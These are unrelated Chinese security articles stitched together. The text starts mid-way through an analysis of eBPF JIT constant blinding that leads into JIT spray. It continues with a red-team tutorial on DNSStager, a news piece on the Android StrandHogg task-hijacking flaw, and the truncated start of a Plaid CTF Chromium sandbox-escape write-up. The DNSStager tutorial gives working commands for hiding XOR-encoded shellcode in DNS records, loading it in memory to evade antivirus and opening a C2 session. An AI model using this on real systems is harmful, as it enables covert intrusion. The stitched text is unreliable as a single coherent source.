if (!bpf_jit_blinding_enabled(prog) || prog->blinded) //未启用立即数致盲 || 已经被致盲过
return prog;
clone = bpf_prog_clone_create(prog, GFP_USER); //复制一个bpf_prog对象
if (!clone)
return ERR_PTR(-ENOMEM);
insn_cnt = clone->len; //多少个指令
insn = clone->insnsi; //指向指令数组
for (i = 0; i < insn_cnt; i++, insn++) { //遍历每一条指令
/*
加载64位立即数的指令lddw reg, imm; 比较特殊,
由于一个8B的指令只能放32位立即数, 因此lddw指令由2个8B指令组成, 后一个指令的code为0, 存放64为立即数的高32位
eg:
lddw r1, 0x0102030405060708
18 01 00 00 08 07 06 05 00 00 00 00 04 03 02 01 r1 = 72623859790382856 ll
所以这条指令需要aux额外保存后一条指令给bpg_jit_blind_insn()使用
*/
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW) && insn[1].code == 0)
memcpy(aux, insn, sizeof(aux));
//修改当前指令, 结果写到insn_buff中, 返回写入了多少条指令
rewritten = bpf_jit_blind_insn(insn, aux, insn_buff, clone->aux->verifier_zext);
if (!rewritten)
continue;
//根据insn_buff去修改clone中的eBPF程序, 保护两部分工作: 插入insn_buff中的指令, 调整跳转指令的偏移
//i为第几条指令, rewritten为写入了多少条指令
tmp = bpf_patch_insn_single(clone, i, insn_buff, rewritten);
...;
clone = tmp; //clone=patch过的程序
insn_delta = rewritten - 1; //插入了多少条指令
/* 遍历新程序, 跳过刚刚插入的指令 */
insn = clone->insnsi + i + insn_delta;
insn_cnt += insn_delta;
i += insn_delta;
}
clone->blinded = 1; //已经完成立即数致盲
return clone;
}
致盲的过程如下, 基本思路是把指令中的立即数imm转换为imm^随机数. 然后再xor随机数, 从而避免指令中出现原立即数
//致盲某条指令
static int bpf_jit_blind_insn(const struct bpf_insn* from,
const struct bpf_insn* aux,
struct bpf_insn* to_buff,
bool emit_zext)
{
struct bpf_insn* to = to_buff;
u32 imm_rnd = get_random_int(); //获取一个32位随机数
s16 off;
if (from->dst_reg == BPF_REG_AX || from->src_reg == BPF_REG_AX) //如果源或者目标寄存器是AX就不致盲
goto out;
// mov32 reg, 0; 与 mov64 reg, 0; 指直接优化为: xor64 reg, reg; 也能避免立即数的出现
if (from->imm == 0 && (from->code == (BPF_ALU | BPF_MOV | BPF_K) || from->code == (BPF_ALU64 | BPF_MOV | BPF_K))) {
*to++ = BPF_ALU64_REG(BPF_XOR, from->dst_reg, from->dst_reg);
goto out;
}
//改写指令, 达到不出现用户给的常数(imm)的效果
switch (from->code) {
//改写32位的ALU运算
case BPF_ALU | BPF_ADD | BPF_K: //add32 reg, imm;
case BPF_ALU | BPF_SUB | BPF_K: //sub32 reg, imm;
case BPF_ALU | BPF_AND | BPF_K: //and32 reg, imm;
case BPF_ALU | BPF_OR | BPF_K: //or32 reg, imm;
case BPF_ALU | BPF_XOR | BPF_K: //xor32 reg, imm;
case BPF_ALU | BPF_MUL | BPF_K: //mul32 reg, imm;
case BPF_ALU | BPF_MOV | BPF_K: //mov32 reg, imm;
case BPF_ALU | BPF_DIV | BPF_K: //div32 reg, imm;
case BPF_ALU | BPF_MOD | BPF_K: //mod32 reg, imm;
*to++ = BPF_ALU32_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ from->imm); //编码原imm: mov32 AX, imm_rnd^imm;
*to++ = BPF_ALU32_IMM(BPF_XOR, BPF_REG_AX, imm_rnd); //解码原imm: xor32 AX, imm_rnd
*to++ = BPF_ALU32_REG(from->code, from->dst_reg, BPF_REG_AX); //执行原算术运算, 但是数据源变成了AX: ALU32 reg, AX;
break;
//同上, 这边是64位算术运算
case BPF_ALU64 | BPF_ADD | BPF_K:
case BPF_ALU64 | BPF_SUB | BPF_K:
case BPF_ALU64 | BPF_AND | BPF_K:
case BPF_ALU64 | BPF_OR | BPF_K:
case BPF_ALU64 | BPF_XOR | BPF_K:
case BPF_ALU64 | BPF_MUL | BPF_K:
case BPF_ALU64 | BPF_MOV | BPF_K:
case BPF_ALU64 | BPF_DIV | BPF_K:
case BPF_ALU64 | BPF_MOD | BPF_K:
*to++ = BPF_ALU64_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ from->imm);
*to++ = BPF_ALU64_IMM(BPF_XOR, BPF_REG_AX, imm_rnd);
*to++ = BPF_ALU64_REG(from->code, from->dst_reg, BPF_REG_AX);
break;
//跳转指令
case BPF_JMP | BPF_JEQ | BPF_K: //jeq dst, imm, +off, 含义: if dst==imm then PC+=off;
case BPF_JMP | BPF_JNE | BPF_K: //jne dst, imm, +off
case BPF_JMP | BPF_JGT | BPF_K: //jgt dst, imm, +off
case BPF_JMP | BPF_JLT | BPF_K: //同理
case BPF_JMP | BPF_JGE | BPF_K:
case BPF_JMP | BPF_JLE | BPF_K:
case BPF_JMP | BPF_JSGT | BPF_K:
case BPF_JMP | BPF_JSLT | BPF_K:
case BPF_JMP | BPF_JSGE | BPF_K:
case BPF_JMP | BPF_JSLE | BPF_K:
case BPF_JMP | BPF_JSET | BPF_K:
/*
如果off>=0, 说明是相对原PC往后跳, 偏移不受影响
如果off<0, 说下是相对原PC往前跳, 由于额外插入了两条eBPF指令, 因此要多往前2
*/
off = from->off;
if (off < 0)
off -= 2;
*to++ = BPF_ALU64_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ from->imm); //编码imm: mov64 AX, imm_rnd^imm;
*to++ = BPF_ALU64_IMM(BPF_XOR, BPF_REG_AX, imm_rnd); //解码imm: xor64 AX, imm_rnd
*to++ = BPF_JMP_REG(from->code, from->dst_reg, BPF_REG_AX, off); //条件跳转, 比较dst与AX: j[..] dst, AX, +off
break;
//32位的条件相对跳转指令, 同上
case BPF_JMP32 | BPF_JEQ | BPF_K:
case BPF_JMP32 | BPF_JNE | BPF_K:
case BPF_JMP32 | BPF_JGT | BPF_K:
case BPF_JMP32 | BPF_JLT | BPF_K:
case BPF_JMP32 | BPF_JGE | BPF_K:
case BPF_JMP32 | BPF_JLE | BPF_K:
case BPF_JMP32 | BPF_JSGT | BPF_K:
case BPF_JMP32 | BPF_JSLT | BPF_K:
case BPF_JMP32 | BPF_JSGE | BPF_K:
case BPF_JMP32 | BPF_JSLE | BPF_K:
case BPF_JMP32 | BPF_JSET | BPF_K:
/* 同上, 往前的话要多跳两条指令 */
off = from->off;
if (off < 0)
off -= 2;
*to++ = BPF_ALU32_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ from->imm);
*to++ = BPF_ALU32_IMM(BPF_XOR, BPF_REG_AX, imm_rnd);
*to++ = BPF_JMP32_REG(from->code, from->dst_reg, BPF_REG_AX, off);
break;
//这个case属于 lddw reg, imm; 前8B指令保存了imm的低32位imm0, 后8B指令保存了imm的高32为imm1
case BPF_LD | BPF_IMM | BPF_DW:
*to++ = BPF_ALU64_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ aux[1].imm); //编码imm1: mov64 AX, imm_rnd^imm1;
*to++ = BPF_ALU64_IMM(BPF_XOR, BPF_REG_AX, imm_rnd); //解码imm1: xor64 AX, imm_rnd
*to++ = BPF_ALU64_IMM(BPF_LSH, BPF_REG_AX, 32); //左移32位: lsh64 AX, 32;
*to++ = BPF_ALU64_REG(BPF_MOV, aux[0].dst_reg, BPF_REG_AX); //放入指定寄存器: mov64 dst0, AX;
break;
case 0: /* lddw reg, imm; 的后半部分: 0 0, imm1 */
*to++ = BPF_ALU32_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ aux[0].imm); //编码imm0: mov32 AX, imm_rnd^imm0;
*to++ = BPF_ALU32_IMM(BPF_XOR, BPF_REG_AX, imm_rnd); //解码imm0: xor32 AX, imm_rnd
if (emit_zext)
*to++ = BPF_ZEXT_REG(BPF_REG_AX);
*to++ = BPF_ALU64_REG(BPF_OR, aux[0].dst_reg, BPF_REG_AX); //写入寄存器低3位: or64 dst0, AX;
break;
//写入内存指令
case BPF_ST | BPF_MEM | BPF_DW: //stdw [dst+off], imm
case BPF_ST | BPF_MEM | BPF_W: //stw [dst+off], imm
case BPF_ST | BPF_MEM | BPF_H: //sth [dst+off], imm
case BPF_ST | BPF_MEM | BPF_B: //stb [dst+off], imm
*to++ = BPF_ALU64_IMM(BPF_MOV, BPF_REG_AX, imm_rnd ^ from->imm); //编码imm: mov64 AX, imm_rnd^imm;
*to++ = BPF_ALU64_IMM(BPF_XOR, BPF_REG_AX, imm_rnd); //解码imm: xor64 AX, imm_rnd;
*to++ = BPF_STX_MEM(from->code, from->dst_reg, BPF_REG_AX, from->off); //写入内存: st[..] [ds+off], AX;
break;
}
out:
return to - to_buff; //返回插入了多少条指令
}
## bpf_jit_binary_alloc()
所有JIT之后的程序都保存在`struct bpf_binary_header`中
struct bpf_binary_header {
u32 pages; //包含多少页
u8 image[] __aligned(BPF_IMAGE_ALIGNMENT); //伪数组, 剩余部分保存JIT编译出的x86程序镜像, 其实就是指令了
};
`bpf_jit_binary_alloc()`计算出所需空间后,
通过`bpf_jit_alloc_exec()=>vmalloc()`分配一片可执行内存作为hdr, 然后添加一个随机偏移作为JITed程序所在的位置.
struct bpf_binary_header* bpf_jit_binary_alloc(unsigned int proglen, u8** image_ptr, unsigned int alignment, bpf_jit_fill_hole_t bpf_fill_ill_insns)
{
struct bpf_binary_header* hdr;
u32 size, hole, start, pages;
//大多数BPF过滤器很小, 但是如果能填充满一页,只要留128字节额外空间来插入随机的的不合法指令
size = round_up(proglen + sizeof(*hdr) + 128, PAGE_SIZE); //所需空间
pages = size / PAGE_SIZE; //所需页数
if (bpf_jit_charge_modmem(pages)) //增加bpf_jit_current, 表示JIT使用的页数
return NULL;
hdr = bpf_jit_alloc_exec(size); //分配可执行内存
if (!hdr) {
bpf_jit_uncharge_modmem(pages);
return NULL;
}
/* 调用填充函数, 写满不合法指令 */
bpf_fill_ill_insns(hdr, size);
hdr->pages = pages; //占据多少页
//size根据PAGE_SIZE向上对齐, 为真正分配的内存, (proglen + sizeof(*hdr)为真正使用的内存, 两者的差就可作为随机偏移的范围
hole = min_t(unsigned int, size - (proglen + sizeof(*hdr)), PAGE_SIZE - sizeof(*hdr));
start = (get_random_int() % hole) & ~(alignment - 1); // start为hole中随机偏移的结果
/* *image_ptr为hdr中JIT指令真正开始写入的位置 */
*image_ptr = &hdr->image[start];
return hdr;
}
## do_jit()
可能的调用路径如下
`do_jit()`要处理所有的BPF指令, 我们这里只用两条指令为例子, 不开启常数致盲
struct bpf_insn bpf_prog[]={
BPF_MOV32_IMM(BPF_REG_0, 0x123), //mov32 R0, 0x123;
BPF_EXIT_INSN() //exit
};
`do_jit()`首先会调用`emit_prologue()`构建函数序言, 然后遍历每一条eBPF指令翻译为x86-64中的指令.
本例子只涉及函数序言, mov指令,函数收尾 三部分的翻译工作
static int do_jit(struct bpf_prog* bpf_prog, int* addrs, u8* image, int oldproglen, struct jit_context* ctx)
{
struct bpf_insn* insn = bpf_prog->insnsi;
int insn_cnt = bpf_prog->len;
bool seen_exit = false;
u8 temp[BPF_MAX_INSN_SIZE + BPF_INSN_SAFETY]; //保存编译出的指令
int i, cnt = 0, excnt = 0;
int proglen = 0;
u8* prog = temp; //指向下一条指令写入的位置, 也就是已写入的最后一条指令的末尾
emit_prologue(&prog, bpf_prog->aux->stack_depth, bpf_prog_was_classic(bpf_prog)); //插入本地指令的函数前言, 主要是保存寄存器等工作
//addrs[i]表示编译完第i条eBPF指令后, x86指令的总长度. addrs[i]-addrs[i-1]=第i条eBPF指令编译为x86指令的长度
//由于x86指令是变长的, 因此eBPF在相对跳转时需要根据addrs修改偏移量
//由于在第一条eBPF指令前插入了函数前言, 因此addrs[0]=函数前言的长度
addrs[0] = prog - temp;
for (i = 1; i <= insn_cnt; i++, insn++) { //遍历eBPF指令, 每次只编译一条eBPF指令, 结果放入temp
const s32 imm32 = insn->imm; //立即数
u32 dst_reg = insn->dst_reg; //目标寄存器
u32 src_reg = insn->src_reg; //源寄存器
...;
switch (insn->code) {
...;
case BPF_ALU | BPF_MOV | BPF_K: //mov32 reg, imm;
emit_mov_imm32(&prog, BPF_CLASS(insn->code) == BPF_ALU64, dst_reg, imm32);
break;
...;
case BPF_JMP | BPF_EXIT: //exit, BPF程序结束
...;
/* 更新cleanup_addr, 也就是函数收尾指令的地址 */
ctx->cleanup_addr = proglen;
if (!bpf_prog_was_classic(bpf_prog)) //如果不是cBPF
EMIT1(0x5B); /* 增加一条pop rbx; 摆脱tail_call_cnt */
EMIT2(0x41, 0x5F); /* pop r15 */
EMIT2(0x41, 0x5E); /* pop r14 */
EMIT2(0x41, 0x5D); /* pop r13 */
EMIT1(0x5B); /* pop rbx */
EMIT1(0xC9); /* leave */
EMIT1(0xC3); /* ret */
break;
}
ilen = prog - temp; //本次翻译出的x86指令长度
...
if (image) { //如果非空, 则要写入JIT得到的指令
memcpy(image + proglen, temp, ilen);
}
proglen += ilen;
addrs[i] = proglen;
prog = temp;
}
return proglen;
}
写入x86指令的过程通过emit_code()函数完成, 后续又封装为多个EMIT宏, 如下
//发射len字节指令bytes到ptr中, 返回下一个写入地址
static u8* emit_code(u8* ptr, u32 bytes, unsigned int len)
{
if (len == 1)
*ptr = bytes;
else if (len == 2)
*(u16*)ptr = bytes;
else {
*(u32*)ptr = bytes;
barrier();
}
return ptr + len;
}
//向prog写入len字节长的bytes
#define EMIT(bytes, len) \
do { \
prog = emit_code(prog, bytes, len); \
cnt += len; \
} while (0)
//EMITn(...) 向prog写入n字节
#define EMIT1(b1) EMIT(b1, 1)
#define EMIT2(b1, b2) EMIT((b1) + ((b2) << 8), 2)
...
//EMITn_off32(..., off) 向prog写入n字节然后写入4字节的off
#define EMIT1_off32(b1, off) \
do { \
EMIT1(b1); \
EMIT(off, 4); \
} while (0)
#define EMIT2_off32(b1, b2, off) \
do { \
EMIT2(b1, b2); \
EMIT(off, 4); \
} while (0)
...
翻译时使用表`reg2hex`来描述BPF寄存器如何映射到x86-64的寄存器, 表中的值为x86中寄存器的编码. 可以直接用于操作码中
/*
下列表描述了BPF寄存器是如何映射到x86-64的寄存器
x86-64寄存器的R12未使用, 因为他常用与load store指令的基址寄存器, 而且需要1字节额外编码, 需要callee保存
x86-64寄存器的R9也没使用, 但是可以作为BPF的trampoline.
x86-64寄存器的R10用于常数致盲
*/
static const int reg2hex[] = {
[BPF_REG_0] = 0, /* RAX */
[BPF_REG_1] = 7, /* RDI */
[BPF_REG_2] = 6, /* RSI */
[BPF_REG_3] = 2, /* RDX */
[BPF_REG_4] = 1, /* RCX */
[BPF_REG_5] = 0, /* R8 */
[BPF_REG_6] = 3, /* RBX callee saved */
[BPF_REG_7] = 5, /* R13 callee saved */
[BPF_REG_8] = 6, /* R14 callee saved */
[BPF_REG_9] = 7, /* R15 callee saved */
[BPF_REG_FP] = 5, /* RBP readonly */
[BPF_REG_AX] = 2, /* R10 temp register */
[AUX_REG] = 3, /* R11 temp register */
[X86_REG_R9] = 1, /* R9 register, 6th function argument */
};
/* 编码dst_reg寄存器到x86-64的操作码字节中 */
static u8 add_1reg(u8 byte, u32 dst_reg)
{
return byte + reg2hex[dst_reg];
}
/* 编码dst_reg和src_reg寄存器到x86-64的操作码中 */
static u8 add_2reg(u8 byte, u32 dst_reg, u32 src_reg)
{
return byte + reg2hex[dst_reg] + (reg2hex[src_reg] << 3);
}
在x86中, r8..r15属于扩展寄存器, 操作码需要特殊处理, 如下
// 如果BPF寄存器映射到x86-64的r8..r15, 那么is_ereg()==true.
//r8..r15属于扩展寄存器, 需要额外1字节编码. rax,rcx,...,rbp编码更简单
static bool is_ereg(u32 reg)
{
return (1 << reg) & (BIT(BPF_REG_5) | BIT(AUX_REG) | BIT(BPF_REG_7) | BIT(BPF_REG_8) | BIT(BPF_REG_9) | BIT(X86_REG_R9) | BIT(BPF_REG_AX));
}
/* 如果reg映射到R8-R15那么就增加修饰符 */
static u8 add_1mod(u8 byte, u32 reg)
{
if (is_ereg(reg))
byte |= 1;
return byte;
}v
`emit_proglogue()`多次调用EMIT向prog写入指令, 负责开辟栈帧保存callee寄存器这两项工作. 详细过程如下
//为BPF程序插入x86-64前言指令, 并检查大小. bpf_tail_call()助手会在跳转到另一程序时跳过这部分
static void emit_prologue(u8** pprog, u32 stack_depth, bool ebpf_from_cbpf)
{
u8* prog = *pprog;
int cnt = X86_PATCH_SIZE;
//没有这些nop BPF trampoline也能工作, 但是先浪费5字节, 之后再优化
memcpy(prog, ideal_nops[NOP_ATOMIC5], cnt);
prog += cnt;
//为函数开辟新栈帧
EMIT1(0x55); /* push rbp */
EMIT3(0x48, 0x89, 0xE5); /* mov rbp, rsp */
/* 根据BPF程序栈空间的深度开辟栈空间: sub rsp, rounded_stack_depth */
EMIT3_off32(0x48, 0x81, 0xEC, round_up(stack_depth, 8));
//保存callee寄存器
EMIT1(0x53); /* push rbx */
EMIT2(0x41, 0x55); /* push r13 */
EMIT2(0x41, 0x56); /* push r14 */
EMIT2(0x41, 0x57); /* push r15 */
if (!ebpf_from_cbpf) {
/* 0初始化tail_call_cnt */
EMIT2(0x6a, 0x00); //push 0;
BUILD_BUG_ON(cnt != PROLOGUE_SIZE);
}
*pprog = prog;
}
对于指令`BPF_MOV32_IMM(BPF_REG_0, 0x123)`则会调用`emit_mov_imm32()`进行翻译,
其中会进行一些优化以缩短x86指令. 详细过程如下
//发射mov 32位立即数的指令
static void emit_mov_imm32(u8** pprog, bool sign_propagate, u32 dst_reg, const u32 imm32)
{
u8* prog = *pprog;
u8 b1, b2, b3;
int cnt = 0;
//优化: 如果imm32是正数, 使用'mov %eax, imm32', 避免0扩展, 剩下2字节
if (sign_propagate && (s32)imm32 < 0) {
/* 如果imm32是负数就用 'mov %rax, imm32' 对齐进行符号扩展 */
b1 = add_1mod(0x48, dst_reg);
b2 = 0xC7;
b3 = 0xC0;
EMIT3_off32(b1, b2, add_1reg(b3, dst_reg), imm32);
goto done;
}
//优化: 如果imm32是0, 那么使用'xor %eax, %eax'节约3字节
if (imm32 == 0) {
if (is_ereg(dst_reg))
EMIT1(add_2mod(0x40, dst_reg, dst_reg));
b2 = 0x31; /* xor */
b3 = 0xC0;
EMIT2(b2, add_2reg(b3, dst_reg, dst_reg));
goto done;
}
/* 不优化直接翻译: mov %eax, imm32 */
if (is_ereg(dst_reg)) //如果目标寄存器是R8-R12这种扩展寄存器, 那么x86指令还需要额外1B前缀
EMIT1(add_1mod(0x40, dst_reg));
//add_1reg(0xB8, dst_reg): 表示把目标寄存器编码到操作符0xB8中, 这一步相当于mov dst_reg
//EMIT1_off32(add_1reg(0xB8, dst_reg), imm32): 先写入1B操作码再写入4B立即数, 相当于 mov dst_reg, imm;
EMIT1_off32(add_1reg(0xB8, dst_reg), imm32);
done:
*pprog = prog;
}
最终`do_jit()`编译出的结果如下
## 总结
至此我们大概明白了JIT的工作原理. 我们注意到JIT会根据我们的输入的eBPF程序在内核中开辟可执行内存并写入翻译后的指令,
那么有没有可能通过特殊的eBPF指令, 向内核注入我们所需的任意指令, 绕过eBPF翻译的限制呢?
这样当我们可以控制RIP时直接跳转到JIT翻译出的指令就可以, 不需要ROP, 也不需要绕过KPIT, SMAP, SMEP,
因为这本来就是属于内核的指令. 答案的肯定的, 而这种利用手法就是后面要介绍的JIT Spray | 社区文章 |
* 1.DNSStager介绍
类似于shellcode分离免杀的思路，DNSStager是用来帮助红队人员执行在DNS隐藏多段shellcode，通过多次请求dns查询，达到加载shellcode内容然后上线的目的。
其原理是：
**将你申请的根域名（如gendns.tk）作为ns服务器，提供test.gendns.tk子域名的解析服务，然后工具在本地对test.gendns.tk建立多个AAAA记录的IPV6地址，生成运行程序循环请求这些个记录，拼接AAAA记录作为shellcode加载，从而达到上线的目的。**
优点： **1加载shellcode为外部dns请求，防火墙很少拦截。
2使用xor加密程序运行，免杀部分AV。**
工具基于多个DNS记录，如开源工具 IPv6 和TXT 并再注入到内存中并运行它。
官方地址：<https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/>
DNSStager将创建一个伪造的DNS服务器，该服务器将根据AAAA和TXT记录解析您的域的伪造地址，这些地址将呈现您的有效负载的一部分，该净荷已编码/加密并可供代理使用。
* 2.DNSStager使用条件
要安装DNSStager，您需要首先使用以下命令从官方存储库中克隆它：
git clone <https://github.com/mhaskar/DNSStager>
然后使用以下命令安装DNSStager的所有python要求：
pip3 install -r requirements.txt
此外需要注意的是，需要禁用本机的systemd-resolved服务:
sudo service systemd-resolved stop
sudo systemctl disable systemd-resolved
环境可选c。golang；c需要安装ming-w64（这里推荐ubuntu、kali系统，centos上楼主尝试多次安装ming-w64均失败）：
golang需要GoLang version 1.16.3，并安装
• golang.org/x/sys
• github.com/miekg/dns
这两个第三方依赖库（golang扩展目前还未复现成功，go-1.16各种坑）。
* 3.域名的配置
使用DNSStager作为shellcode存储媒介，当然要有一个域名，可在美国freenom等服务商处申请（楼主各种失败，最后只能花钱买一个），申请好后需要解析NS
到第三方域名服务商，例如dnspod，cloudflare，在这些地方添加子域名test.gendns.tk的NS记录到你自己的vps才可以。
前提：VPS对外开放53端口的UDP数据，提供NS查询。
具体如何使用cloudflare请参考《实战填坑 | CS使用CDN隐藏C2》
<https://mp.weixin.qq.com/s/B30Unfh5yAN4A151P1gsMQ>
CDN配置以cloudflare为例，在DNS选项处添加NS记录：
最后的效果：
在你填写的vps中下载工具，使用方法（payload以x64/c/ipv6为例）：
dnsstager.py --domain test.gendns.tk --payload x64/c/ipv6 --output /home/a.exe
--prefix cloud-srv- --shellcode_path /home/DNSStager/payload.bin --sleep 1
--xorkey 0x10
其中payload有多种，使用python 3 dnsstager.py –payloads查看：
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
注意：其中--prefix cdn参数的cloud-srv-可自由配置，就是在test.gendns.tk之前添加NS子域名，作为多个shellcode分片存储媒介。
* 4.玩具的使用~
在运行工具后会在本机监听53端口：
操作之前使用dig命令可检查ns域名：dig AAAA cloud-srv-0.test.gendns.tk
未成功时：
已经插入了AAAA记录：
使用dig命令查询会看到记录，运行程序后监听端也会看到：
提示共需要发送56次dns查询请求才能加载完毕shellcode：DNSStager will send 56 DNS requests to get
the full payload，意为在vps建立了56个cloud-srv-*.test.gendns.tk NS记录。
wireshark抓包可见请求AAAA记录：
最后cs上线：
最后来一个查杀情况，还是比较不错的： | 社区文章 |
# Strandhogg漏洞：Android系统上的维京海盗
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是零日情报局。
当银行卡余额神秘消失，懵不。
这次跟大家说说新型Android应用漏洞，不仅能让银行卡余额消失，还会偷拍监听的那种。
昨天下午，挪威一家安全公司披露了一个Android应用漏洞，并用描述维京海盗突袭战术的单词StrandHogg对其命名。值得庆幸的是，谷歌已采取措施解决该漏洞，并暂停了受影响的应用程序。
至于银行卡余额神秘消失事件，就发生在捷克共和国的多家银行。不法攻击者利用StrandHogg漏洞，使用BankBot银行木马等恶意软件，悄无声息地盗走多家银行用户的卡内余额，引发东欧金融机构安全服务商的多方求助。
## StrandHogg：维京海盗式Android应用漏洞
StrandHogg是一个存在于Android多任务系统中的应用漏洞。该漏洞利用则是基于一个名为“taskAffinity”的Android控件设置，允许包括恶意应用在内的任意程序，随意采用多任务处理系统中的任何身份。
从零日核实的情况来看，StrandHogg漏洞确实存在于Android的多任务系统中，一旦已安装恶意程序利用，就能让恶意程序顺利伪装合法应用，获得更高的权限，窃取信息或进行任意恶意操作。
简单来说，就是中招后，当我们点开一个正常应用程序的图标时，利用Strandhogg漏洞的恶意应用可以拦截劫持这个任务，并向用户显示一个虚假的应用界面。
这时，不明真相的你，会毫无防范的在一个虚假的界面，安心地输入账号、密码，以及进行任意操作。殊不知，那些涉及你隐私的敏感信息，输入后都会第一时间发送给攻击者，攻击者利用这些敏感信息，能做的是事情就多了。
也许登录银行账户，窃取钱财反倒是伤害相对较小的攻击。
## 利用StrandHogg能做哪些事？
访问摄像头和麦克风，获取设备的位置，读取SMS，捕获登录凭据（包括通过SMS的2FA代码），访问私人照片和视频，访问联系人……这些看似基本但关系手机安全闭环的功能，只要成功利用Strandhogg漏洞，恶意应用都可以请求上述权限。
简言之，Strandhogg漏洞让我们的手机不再对恶意应用设防，且这种不设防，我们无从得知何时开启。零日验证该漏洞时，就成功将恶意程序伪装成一合法应用，获得了测试目标的定位，当然，仅用于测试，大家不要随意尝试。
略让人恐慌的是，包括最新Android10在内的所有Android版本，都存Strandhogg漏洞。随后，零日逐一验证后发现，GooglePlay商店内可用的前500个Android应用程序，确如挪威安全公司说的那样，都可通过StrandHogg攻击劫持所有应用程序的进程以执行恶意操作。
## 维京海盗StrandHogg的独特之处
1、无需root上演复杂攻击：StrandHogg漏洞之所以独特，主要是因为它最大限度地利用了Android多任务系统弱点，无需root既可允许恶意程序伪装成设备上的任意程序，帮助黑客实施复杂且高危的攻击。
2、无法检测Stranghodd漏洞利用：有攻就有防，但很不幸的是，截至目前，针对Stranghodd漏洞利用的阻止方式，甚至是相对可靠的检测方法，都还没有出现。普通用户只能通过一些不鲜明的异常发现问题，比如已登录的应用要求登录、单击用户界面按钮链接时不起作用，或者后退按钮无法正常工作。
3、扩大UI欺骗风险：UI欺骗，很多人听说过。甚至早在2015年，宾夕法尼亚州立大学就曾以白皮书的形式，详细介绍了可用于UI欺骗的理论攻击。而StrandHogg漏洞的出现，多个程序同时遭劫持等情况，若不加以有效控制，一旦大范围扩散，都将进一步扩大UI欺骗风险。
并不是所有被发现的漏洞，都会被利用，但攻击者绝不会放过那些有价值的漏洞。
挪威安全公司就明确指出，目前已发现36个野外利用StrandHogg漏洞的应用程序，虽然这些应用都不能直接通过googlePlay商店下载安装，但并不能保证用户下载的应用程序是否曾经感染过，因为这36个应用程序作为第二阶段的有效负载，已经安装在了一些用户的设备上。
## StrandHogg漏洞利用样本再现
不同于提权等相对熟悉的漏洞，Strandhogg漏洞的威胁层级其实并不能清晰的界定，因为它的存在更像给恶意程序开了一道门，至于被利用后带来的是小威胁，还是大震荡，关键要看恶意程序本身是威胁层级。
挪威安全公司披露StrandHogg漏洞信息时，就以第一次监测到利用StrandHogg漏洞的恶意软件为样本，复现了恶意软件利用StrandHogg漏洞的主要策略。
### 1、恶意程序利用GooglePlay分发
通常情况下，正常程序多数都会入驻Google Play，而利用StrandHogg漏洞的恶意程序，则通过多个恶意下载器安装，但会选择在Google
Play上进行分发扩散。
从代码部分可以看到，当恶意应用在一个或多个活动上设置taskAffinity，以匹配任何第三方应用的packageName时，漏洞利用就会发挥作用。然后，通过与清单中的allowTaskReparenting=“true”组合，或通过使用Intent.FLAG_ACTIVITY_NEW_TASK的intent标志启动活动，将恶意活动置于目标任务的内部和顶部。
这时，恶意应用就成功劫持了目标，而当用户再一次点开目标应用时，恶意程序就会伪装成正常程序，显示使用界面迷惑用户。
### 2、伪装多个正常程序
同时开N个应用，是现代人的日常，而在StrandHogg漏洞利用威胁下，Android的多任务处理系统也给恶意程序打开方便之门。在同一时间推出两个（或更多）活动android.app.Activity＃startActivities（android.content.Intent
[]）,恶意程序就可以利用StrandHogg漏洞。在后台同时伪装成两款正常应用作恶。
同样，被攻击用户除了可能看到设备轻微闪烁外，根本无从发现恶意程序的攻击行为。只有我们查看时，输入adb shell dumpsys activity
activities，才可以看到攻击活动已经存在，且一直潜伏到下次启动该应用程序为止。
### 3、AllowTask Reparenting（任务重编）
当伪装的正常程序再次启动后，利用StrandHogg漏洞的恶意程序曝出了一个名为allowTaskReparenting的新属性。它会让Android操作系统重新评估所有任务和活动，并在启动相关任务前，先查找标记有此属性的活动并将其移动。
这样，恶意程序就会根据新一次启动程序的情况，及时更新屏幕上显示的内容。
从样本来看，StrandHogg漏洞确实给恶意程序广开大门。
## 零日反思
Android漏洞是个老生常谈的话题，但并不能因此就忽视它的威胁。
在Android操作系统这片开源的大海上，其实不仅有StrandHogg漏洞这样的维京海盗式战术，还有各种各样已知未知的漏洞威胁，虽然经过十多年的发展，在各路技术人员的努力下，让Android操作系统漏洞威胁趋于稳定，但我们并不能掉以轻心，因为不法分子的攻击，时刻在发生。
零日情报局作品
微信公众号：lingriqingbaoju
参考资料：
Promon《StrandHogg漏洞》 | 社区文章 |
# Plaid CTF 2020 mojo 复现 - chromium sandbox escape
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Plaid ctf 2020 的一道 chromium sandbox escape 题目，比较基础，适合入门，
题目文件可以在[这里](https://play.plaidctf.com/files/mojo-837fd2df59f60214ffa666a0b71238b260ffd9114fd612a7f633f4ba1b4da74f.tar.gz)
下载, exp 参考来自[这里](https://trungnguyen1909.github.io/blog/post/PlaidCTF2020/)
## 漏洞分析
题目写了一个`plaidstore.mojom` 文件，定义了`PlaidStore`接口，有`StoreData` 和 `GetData` 两个函数
--- /dev/null
+++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom
@@ -0,0 +1,11 @@
+module blink.mojom;
+
+// This interface provides a data store
+interface PlaidStore {
+
+ // Stores data in the data store
+ StoreData(string key, array<uint8> data);
+
+ // Gets data from the data store
+ GetData(string key, uint32 count) => (array<uint8> data);
+};
可以用下面方式调用到这两个函数
p = blink.mojom.PlaidStore.getRemote(true);
p.storeData("aaaa",new Uint8Array(0x10));
p.getData("aaaa",0x200))
